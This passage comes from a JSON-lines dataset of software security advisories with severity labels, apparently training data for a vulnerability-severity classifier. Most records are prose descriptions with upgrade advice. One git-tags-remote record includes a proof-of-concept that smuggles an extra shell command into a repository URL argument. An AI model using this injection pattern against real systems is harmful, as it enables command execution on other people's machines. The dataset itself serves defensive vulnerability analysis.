-{"id": "058402d1587fa340f533", "text": "actionpack is vulnerable to denial of service because of a wildcard controller route\n\nactionpack/lib/action_dispatch/routing/route_set.rb in Action Pack in Ruby on Rails 4.x before 4.2.5.1 and 5.x before 5.0.0.beta1.1 allows remote attackers to cause a denial of service (superfluous caching and memory consumption) by leveraging an application's use of a wildcard controller route.", "text_raw": "actionpack is vulnerable to denial of service because of a wildcard controller route\n\n[Severity: HIGH]\n\nactionpack/lib/action_dispatch/routing/route_set.rb in Action Pack in Ruby on Rails 4.x before 4.2.5.1 and 5.x before 5.0.0.beta1.1 allows remote attackers to cause a denial of service (superfluous caching and memory consumption) by leveraging an application's use of a wildcard controller route.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e49774de343475b95aa2", "text": "CSRF in Play Framework\n\nIn Play Framework 2.6.0 through 2.8.1, the CSRF filter can be bypassed by making CORS simple requests with content types that contain parameters that can't be parsed.", "text_raw": "CSRF in Play Framework\n\n[Severity: MEDIUM]\n\nIn Play Framework 2.6.0 through 2.8.1, the CSRF filter can be bypassed by making CORS simple requests with content types that contain parameters that can't be parsed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-18", "split": "train"}
-{"id": "f71cc9b8ed391c0de057", "text": "Cross-Site Scripting in cmmn-js-properties-panel\n\nVersions of `cmmn-js-properties-panel` prior to 0.8.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.\n\n## Recommendation\n\nUpgrade to version 0.8.0 or later.", "text_raw": "Cross-Site Scripting in cmmn-js-properties-panel\n\n[Severity: HIGH]\n\nVersions of `cmmn-js-properties-panel` prior to 0.8.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize input in specially configured diagrams, which may allow attackers to inject arbitrary JavaScript in the embedding website.\n\n\n## Recommendation\n\nUpgrade to version 0.8.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "69eb95f024c3374f84ac", "text": "Denial of Service in hapi\n\nAll Versions of `hapi` are vulnerable to Denial of Service. The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/hapi`. Please update your dependencies to use `@hapi/hapi`.", "text_raw": "Denial of Service in hapi\n\n[Severity: HIGH]\n\nAll Versions of `hapi` are vulnerable to Denial of Service. The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/hapi`. Please update your dependencies to use `@hapi/hapi`. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0bf50b87ece268441264", "text": "XXE in petl\n\n### Impact\nInformation Disclosure\n\n### Summary\n\n[petl](https://github.com/petl-developers/petl) is a Python library that provides functions for extraction, transformation, and loading (ETL) of data.\n\npetl before 1.68, in some configurations, allows resolution of entities in XML input.\n\nAn attacker who is able to submit XML input to an application using petl can disclose arbitrary files on the file system in the context of the user under which the application is running.\n\n### Affected Applications\n\nApplications that:\n\n- accept attacker-supplied XML input that is processed using petl < 1.68\n- return the response generated by petl back to the attacker\n- configure lxml as the underlying XML processing library used by petl\n- have read privileges in filesystem files with sensitive information\n\n### Mitigation\nUpdate to petl >= 1.68\n\n### Workarounds\n\n- Assure there is no user/external access to the application using [petl](https://github.com/petl-developers/petl)\n- Assure your application is not using the function [fromxml()](https://petl.readthedocs.io/en/stable/io.html#petl.io.xml.fromxml)\n\n### References\n- https://github.com/nvn1729/advisories/blob/master/cve-2020-29128.md\n- https://github.com/petl-developers/petl/pull/527\n- https://github.com/petl-developers/petl/releases/tag/v1.6.8\n- https://petl.readthedocs.io/en/stable/changes.html\n- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Add a comment in the Github [issue](https://github.com/petl-developers/petl/pull/527)\n\nThaks to Naveen Sunkavally.", "text_raw": "XXE in petl\n\n[Severity: HIGH]\n\n### Impact\nInformation Disclosure\n\n### Summary\n\n[petl](https://github.com/petl-developers/petl) is a Python library that provides functions for extraction, transformation, and loading (ETL) of data.\n\npetl before 1.68, in some configurations, allows resolution of entities in XML input.\n\nAn attacker who is able to submit XML input to an application using petl can disclose arbitrary files on the file system in the context of the user under which the application is running.\n\n### Affected Applications\n\nApplications that:\n\n- accept attacker-supplied XML input that is processed using petl < 1.68\n- return the response generated by petl back to the attacker\n- configure lxml as the underlying XML processing library used by petl\n- have read privileges in filesystem files with sensitive information\n\n### Mitigation\nUpdate to petl >= 1.68\n\n### Workarounds\n\n- Assure there is no user/external access to the application using [petl](https://github.com/petl-developers/petl)\n- Assure your application is not using the function [fromxml()](https://petl.readthedocs.io/en/stable/io.html#petl.io.xml.fromxml)\n\n### References\n- https://github.com/nvn1729/advisories/blob/master/cve-2020-29128.md\n- https://github.com/petl-developers/petl/pull/527\n- https://github.com/petl-developers/petl/releases/tag/v1.6.8\n- https://petl.readthedocs.io/en/stable/changes.html\n- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Add a comment in the Github [issue](https://github.com/petl-developers/petl/pull/527)\n\nThaks to Naveen Sunkavally.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-02", "split": "train"}
-{"id": "cb04d8b0b43aa8c0d148", "text": "Malicious Package in rrequest\n\nAll versions of `rrequest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in rrequest\n\n[Severity: CRITICAL]\n\nAll versions of `rrequest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "d2c09bfcb7b249115f85", "text": "Path Traversal in html-pages\n\nVersions of `html-pages` before 2.1.0 are vulnerable to path traversal.\n\n## Recommendation\n\nUpdate to version 2.1.0 or later.", "text_raw": "Path Traversal in html-pages\n\n[Severity: CRITICAL]\n\nVersions of `html-pages` before 2.1.0 are vulnerable to path traversal.\n\n\n## Recommendation\n\nUpdate to version 2.1.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "6a5814061b9463c1afb0", "text": "Cross-site Scripting in XXL-JOB\n\nXXL-JOB 2.2.0 allows Stored XSS (in Add User) to bypass the 20-character limit via xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java.", "text_raw": "Cross-site Scripting in XXL-JOB\n\n[Severity: MEDIUM]\n\nXXL-JOB 2.2.0 allows Stored XSS (in Add User) to bypass the 20-character limit via xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f1274f285e6572471392", "text": "Out-of-bounds Write in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an invalid write in the cv::RLByteStream::getBytes function in modules/imgcodecs/src/bitstrm.cpp when reading an image file by using cv::imread, as demonstrated by the 2-opencv-heapoverflow-fseek test case.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an invalid write in the cv::RLByteStream::getBytes function in modules/imgcodecs/src/bitstrm.cpp when reading an image file by using cv::imread, as demonstrated by the 2-opencv-heapoverflow-fseek test case.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "13562edac066adf24260", "text": "Remote code execution in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-1172, CVE-2020-1180.", "text_raw": "Remote code execution in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-1172, CVE-2020-1180.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "b42a6c4c905d0a320ae5", "text": "Malicious Package in commandre\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in commandre\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "097f7681115ac56bab26", "text": "Command Injection in Kylin\n\nKylin has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.", "text_raw": "Command Injection in Kylin\n\n[Severity: HIGH]\n\nKylin has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "d09e240949b2ea4585b0", "text": "Mango Automation 2.6.0 Unprotected Debug Log View Vulnerability", "text_raw": "Mango Automation 2.6.0 Unprotected Debug Log View Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "b333c86920ae565a1878", "text": "Heap OOB write in TFLite\n\n### Impact\nA specially crafted TFLite model could trigger an OOB write on heap in the TFLite implementation of [`ArgMin`/`ArgMax`](https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/arg_min_max.cc#L52-L59):\n\n```cc\nTfLiteIntArray* output_dims = TfLiteIntArrayCreate(NumDimensions(input) - 1);\nint j = 0;\nfor (int i = 0; i < NumDimensions(input); ++i) { \n  if (i != axis_value) {\n    output_dims->data[j] = SizeOfDimension(input, i);\n    ++j;\n  }\n}\n```\n\nIf `axis_value` is not a value between 0 and `NumDimensions(input)`, then the condition in the `if` is never true, so code writes past the last valid element of `output_dims->data`.\n\n### Patches \nWe have patched the issue in GitHub commit [c59c37e7b2d563967da813fa50fe20b21f4da683](https://github.com/tensorflow/tensorflow/commit/c59c37e7b2d563967da813fa50fe20b21f4da683).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB write in TFLite\n\n[Severity: LOW]\n\n### Impact\nA specially crafted TFLite model could trigger an OOB write on heap in the TFLite implementation of [`ArgMin`/`ArgMax`](https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/arg_min_max.cc#L52-L59):\n\n```cc\nTfLiteIntArray* output_dims = TfLiteIntArrayCreate(NumDimensions(input) - 1);\nint j = 0;\nfor (int i = 0; i < NumDimensions(input); ++i) { \n  if (i != axis_value) {\n    output_dims->data[j] = SizeOfDimension(input, i);\n    ++j;\n  }\n}\n```\n\nIf `axis_value` is not a value between 0 and `NumDimensions(input)`, then the condition in the `if` is never true, so code writes past the last valid element of `output_dims->data`.\n  \n### Patches \nWe have patched the issue in GitHub commit [c59c37e7b2d563967da813fa50fe20b21f4da683](https://github.com/tensorflow/tensorflow/commit/c59c37e7b2d563967da813fa50fe20b21f4da683).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "e5171e2e06e280b825e0", "text": "Command Injection in git-tags-remote\n\nAll versions of `git-tags-remote ` are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an `exec` call on the `get` function . This may allow attackers to execute arbitrary code in the system if the `repo` value passed to the function is user-controlled.\n\nThe following proof-of-concept creates a file in `/tmp`:  \n```\nconst gitTagsRemote = require('git-tags-remote');\n\ngitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo \"Injection Success\" > /tmp/command-injection.test')\n.then(tags => console.log(tags));\n```", "text_raw": "Command Injection in git-tags-remote\n\n[Severity: HIGH]\n\nAll versions of `git-tags-remote ` are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an `exec` call on the `get` function . This may allow attackers to execute arbitrary code in the system if the `repo` value passed to the function is user-controlled.  \n\nThe following proof-of-concept creates a file in `/tmp`:  \n```\nconst gitTagsRemote = require('git-tags-remote');\n\ngitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo \"Injection Success\" > /tmp/command-injection.test')\n.then(tags => console.log(tags));\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "1e9c814a4a7165da63ea", "text": "A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0639, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0771, CVE-2019-0773, CVE-2019-0783.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0639, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0771, CVE-2019-0773, CVE-2019-0783.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "ef90fcdbac79589a3be6", "text": "Cross-site Scripting in NodeBB\n\nControllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "text_raw": "Cross-site Scripting in NodeBB\n\n[Severity: MEDIUM]\n\nControllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-01", "split": "train"}
-{"id": "67232b03320812b3c02a", "text": "The validator module before 1.1.0 for Node.js allows remote attackers to bypass the cross-site scripting (XSS) filter via a crafted javascript URI.", "text_raw": "Moderate severity vulnerability that affects validator\n\n[Severity: MEDIUM]\n\nThe validator module before 1.1.0 for Node.js allows remote attackers to bypass the cross-site scripting (XSS) filter via a crafted javascript URI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "14fd78a92cddd0375572", "text": "Cross-site Scripting in TYPO3 extension\n\nThe miniorange_saml (aka Miniorange Saml) extension before 1.4.3 for TYPO3 allows XSS.", "text_raw": "Cross-site Scripting in TYPO3 extension\n\n[Severity: MEDIUM]\n\nThe miniorange_saml (aka Miniorange Saml) extension before 1.4.3 for TYPO3 allows XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "71810589545d0c6a8fe1", "text": "OpenEMR 4.1.1 (site param) Remote XSS Vulnerability", "text_raw": "OpenEMR 4.1.1 (site param) Remote XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-02-21", "split": "train"}
-{"id": "f5e0f12436808912ac3b", "text": "Cross-site scripting in Contentful\n\nContentful through 2020-05-21 for Python allows reflected XSS, as demonstrated by the api parameter to the-example-app.py.", "text_raw": "Cross-site scripting in Contentful\n\n[Severity: MEDIUM]\n\nContentful through 2020-05-21 for Python allows reflected XSS, as demonstrated by the api parameter to the-example-app.py.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "23fb4c82d8c0161ac324", "text": "Reflected XSS in GraphQL Playground\n\n### Impact\n\n**directly impacted:**\n\n- `graphql-playground-html@<1.6.22` - all unsanitized user input for `renderPlaygroundPage()`\n\n**all of our consuming packages** of `graphql-playground-html` are impacted:\n\n- `graphql-playground-middleware-express@<1.7.16` - unsanitized user input to `expressPlayground()`\n- `graphql-playground-middleware-koa@<1.6.15` - unsanitized user input to `koaPlayground()`\n- `graphql-playground-middleware-lambda@<1.7.17` - unsanitized user input to `lambdaPlayground()`\n- `graphql-playground-middleware-hapi@<1.6.13` - unsanitized user input to `hapiPlayground()`\n\nas well as ***any other packages*** that use these methods with unsanitized user input.\n\n**not impacted:**\n\n- `graphql-playground-electron` - uses `renderPlaygroundPage()` statically for a webpack build for electron bundle, no dynamic user input\n- `graphql-playground-react` - usage of the component directly in a react application does not expose reflected XSS vulnerabilities. only the demo in `public/` contains the vulnerability, because it uses an old version of the html pacakge.\n\n### Patches\n\nupgrading to the above mentioned versions will solve the issue.\n\nIf you're using `graphql-playground-html` directly, then:\n\n```\nyarn add graphql-playground-html@^1.6.22\n```\n\nor\n\n```\nnpm install --save graphql-playground-html@^1.6.22\n```\n\nThen, similar steps need to be taken for each middleware:\n\n- [Upgrade Express Middleware](https://www.npmjs.com/package/graphql-playground-middleware-express#security-upgrade-steps)\n- [Upgrade Koa Middleware](https://www.npmjs.com/package/graphql-playground-middleware-koa#security-upgrade-steps)\n- [Upgrade Lambda Middleware](https://www.npmjs.com/package/graphql-playground-middleware-lambda#security-upgrade-steps)\n- [Upgrade Hapi Middleware](https://www.npmjs.com/package/graphql-playground-middleware-hapi#security-upgrade-steps)\n\n### Workarounds\n\nEnsure you properly sanitize *all* user input for options you use for whatever function to initialize GraphQLPlayground:\n\nfor example, with `graphql-playground-html` and express:\n\n```js\nconst { sanitizeUrl } = require('@braintree/sanitize-url');\n\nconst qs = require('querystringify');\n\nconst { renderPlaygroundPage } = require('graphql-playground-html');\n\nmodule.exports = (req, res, next) => {\n\tconst { endpoint } = qs.parse(req.url)\n\tres.html(renderPlaygroundPage({endpoint: sanitizeUrl(endpoint) })).status(200)\n\tnext()\n}\n```\n\nor, with `graphql-playground-express`:\n\n```js\nconst { expressPlayground } = require('graphql-playground-middleware-express');\nconst { sanitizeUrl } = require('@braintree/sanitize-url');\n\nconst qs = require('querystringify');\n\nconst { renderPlaygroundPage } = require('graphql-playground-html');\n\nmodule.exports = (req, res, next) => {\n\tconst { endpoint } = qs.parse(req.url)\n\tres.html(expressPlayground({endpoint: sanitizeUrl(endpoint) })).status(200)\n\tnext()\n}\n```\n\n### References\n\n- [OWASP: How to Test for CSS Reflection Attacks](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.md)\n- [Original Report from Cure53](https://user-images.githubusercontent.com/1368727/84191028-dfb7b980-aa65-11ea-8e18-4b8706f538e2.jpg) (jpg)\n\n### Credits\n\nMasato Kinugawa of Cure53\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [graphql-playground](https://github.com/prisma-labs/graphql-playground/issues/new/choose)\n* Email us at [rikki.schulte@gmail.com](mailto:rikki.schulte@gmail.com)", "text_raw": "Reflected XSS in GraphQL Playground\n\n[Severity: HIGH]\n\n### Impact\n\n**directly impacted:**\n\n- `graphql-playground-html@<1.6.22` - all unsanitized user input for `renderPlaygroundPage()`\n\n**all of our consuming packages** of `graphql-playground-html` are impacted:\n\n- `graphql-playground-middleware-express@<1.7.16` - unsanitized user input to `expressPlayground()`\n- `graphql-playground-middleware-koa@<1.6.15` - unsanitized user input to `koaPlayground()`\n- `graphql-playground-middleware-lambda@<1.7.17` - unsanitized user input to `lambdaPlayground()`\n- `graphql-playground-middleware-hapi@<1.6.13` - unsanitized user input to `hapiPlayground()`\n\nas well as ***any other packages*** that use these methods with unsanitized user input.\n\n**not impacted:**\n\n- `graphql-playground-electron` - uses `renderPlaygroundPage()` statically for a webpack build for electron bundle, no dynamic user input\n- `graphql-playground-react` - usage of the component directly in a react application does not expose reflected XSS vulnerabilities. only the demo in `public/` contains the vulnerability, because it uses an old version of the html pacakge.\n\n### Patches\n\nupgrading to the above mentioned versions will solve the issue.\n\nIf you're using `graphql-playground-html` directly, then:\n\n```\nyarn add graphql-playground-html@^1.6.22\n```\n\nor\n\n```\nnpm install --save graphql-playground-html@^1.6.22\n```\n\nThen, similar steps need to be taken for each middleware:\n\n- [Upgrade Express Middleware](https://www.npmjs.com/package/graphql-playground-middleware-express#security-upgrade-steps)\n- [Upgrade Koa Middleware](https://www.npmjs.com/package/graphql-playground-middleware-koa#security-upgrade-steps)\n- [Upgrade Lambda Middleware](https://www.npmjs.com/package/graphql-playground-middleware-lambda#security-upgrade-steps)\n- [Upgrade Hapi Middleware](https://www.npmjs.com/package/graphql-playground-middleware-hapi#security-upgrade-steps)\n\n### Workarounds\n\nEnsure you properly sanitize *all* user input for options you use for whatever function to initialize GraphQLPlayground:\n\nfor example, with `graphql-playground-html` and express:\n\n```js\nconst { sanitizeUrl } = require('@braintree/sanitize-url');\n\nconst qs = require('querystringify');\n\nconst { renderPlaygroundPage } = require('graphql-playground-html');\n\nmodule.exports = (req, res, next) => {\n\tconst { endpoint } = qs.parse(req.url)\n\tres.html(renderPlaygroundPage({endpoint: sanitizeUrl(endpoint) })).status(200)\n\tnext()\n}\n```\n\nor, with `graphql-playground-express`:\n\n```js\nconst { expressPlayground } = require('graphql-playground-middleware-express');\nconst { sanitizeUrl } = require('@braintree/sanitize-url');\n\nconst qs = require('querystringify');\n\nconst { renderPlaygroundPage } = require('graphql-playground-html');\n\nmodule.exports = (req, res, next) => {\n\tconst { endpoint } = qs.parse(req.url)\n\tres.html(expressPlayground({endpoint: sanitizeUrl(endpoint) })).status(200)\n\tnext()\n}\n```\n\n### References\n\n- [OWASP: How to Test for CSS Reflection Attacks](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.md)\n- [Original Report from Cure53](https://user-images.githubusercontent.com/1368727/84191028-dfb7b980-aa65-11ea-8e18-4b8706f538e2.jpg) (jpg)\n\n\n### Credits\n\nMasato Kinugawa of Cure53\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [graphql-playground](https://github.com/prisma-labs/graphql-playground/issues/new/choose)\n* Email us at [rikki.schulte@gmail.com](mailto:rikki.schulte@gmail.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-09", "split": "train"}
-{"id": "bc2770e1720f6c16b78e", "text": "redcarpet Buffer Overflow vulnerability\n\nStack-based buffer overflow in the `header_anchor` function in the HTML renderer in Redcarpet before 3.3.2 allows attackers to cause a denial of service (crash) and possibly execute arbitrary code via unspecified vectors.", "text_raw": "redcarpet Buffer Overflow vulnerability\n\n[Severity: HIGH]\n\nStack-based buffer overflow in the `header_anchor` function in the HTML renderer in Redcarpet before 3.3.2 allows attackers to cause a denial of service (crash) and possibly execute arbitrary code via unspecified vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "ba9698e4c37a9dbfa187", "text": "Improper Input Validation in Laravel\n\nAn issue was discovered in Laravel before 6.18.35 and 7.x before 7.24.0. The $guarded property is mishandled in some situations involving requests with JSON column nesting expressions.", "text_raw": "Improper Input Validation in Laravel\n\n[Severity: HIGH]\n\nAn issue was discovered in Laravel before 6.18.35 and 7.x before 7.24.0. The $guarded property is mishandled in some situations involving requests with JSON column nesting expressions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "f12dd6605887d1418b05", "text": "Repository index file allows for duplicates of the same chart entry in helm\n\n### Impact\n\nDuring a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository.\n\nTo perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection).\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/repo\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2 and 2.16.11\n\n### Workarounds\n\n- do not install charts from repositories you do not trust\n- fetch charts using a secure channel of communication (such as TLS)\n- use `helm pull` to fetch the chart, then review the chart’s content (either manually, or with `helm verify` if it has been signed) to ensure it has not been tampered with\n- manually review the index file in the Helm repository cache before installing software.", "text_raw": "Repository index file allows for duplicates of the same chart entry in helm\n\n[Severity: LOW]\n\n### Impact\n\nDuring a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository.\n\nTo perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection).\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/repo\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2 and 2.16.11\n\n### Workarounds\n\n- do not install charts from repositories you do not trust\n- fetch charts using a secure channel of communication (such as TLS)\n- use `helm pull` to fetch the chart, then review the chart’s content (either manually, or with `helm verify` if it has been signed) to ensure it has not been tampered with\n- manually review the index file in the Helm repository cache before installing software.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "892d76d09c7709b8ac1b", "text": "Malicious takeover of previously owned ENS names\n\n### Impact\nA user who owns an ENS domain can set a \"trapdoor\", allowing them to transfer ownership to another user, and later regain ownership without the new owner's consent or awareness.\n\n### Patches\n\nA new ENS deployment is being rolled out that fixes this vulnerability in the ENS registry. The registry is newly deployed at [0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e](https://etherscan.io/address/0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e).\n\n### Workarounds\nDo not accept transfers of ENS domains from other users on the old registrar.", "text_raw": "Malicious takeover of previously owned ENS names\n\n[Severity: HIGH]\n\n### Impact\nA user who owns an ENS domain can set a \"trapdoor\", allowing them to transfer ownership to another user, and later regain ownership without the new owner's consent or awareness.\n\n### Patches\n\nA new ENS deployment is being rolled out that fixes this vulnerability in the ENS registry. The registry is newly deployed at [0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e](https://etherscan.io/address/0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e).\n\n### Workarounds\nDo not accept transfers of ENS domains from other users on the old registrar.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "b8773bf2f68bc0877697", "text": "ERC1155Supply vulnerability in OpenZeppelin Contracts\n\nWhen ERC1155 tokens are minted, a callback is invoked on the receiver of those tokens, as required by the spec. When including the `ERC1155Supply` extension, total supply is not updated until after the callback, thus during the callback the reported total supply is lower than the real number of tokens in circulation.\n\n### Impact\nIf a system relies on accurately reported supply, an attacker may be able to mint tokens and invoke that system after receiving the token balance but before the supply is updated.\n\n### Patches\nA fix is included in version 4.3.3 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\nIf accurate supply is relevant, do not mint tokens to untrusted receivers.\n\n### Credits\nThe issue was identified and reported by @ChainSecurityAudits.\n\n### For more information\nRead [TotalSupply Inconsistency in ERC1155 NFT Tokens](https://medium.com/chainsecurity/totalsupply-inconsistency-in-erc1155-nft-tokens-8f8e3b29f5aa) by @ChainSecurityAudits for a more detailed breakdown.\n\nIf you have any questions or comments about this advisory, email us at security@openzeppelin.com.", "text_raw": "ERC1155Supply vulnerability in OpenZeppelin Contracts\n\n[Severity: LOW]\n\nWhen ERC1155 tokens are minted, a callback is invoked on the receiver of those tokens, as required by the spec. When including the `ERC1155Supply` extension, total supply is not updated until after the callback, thus during the callback the reported total supply is lower than the real number of tokens in circulation.\n\n### Impact\nIf a system relies on accurately reported supply, an attacker may be able to mint tokens and invoke that system after receiving the token balance but before the supply is updated.\n\n### Patches\nA fix is included in version 4.3.3 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\nIf accurate supply is relevant, do not mint 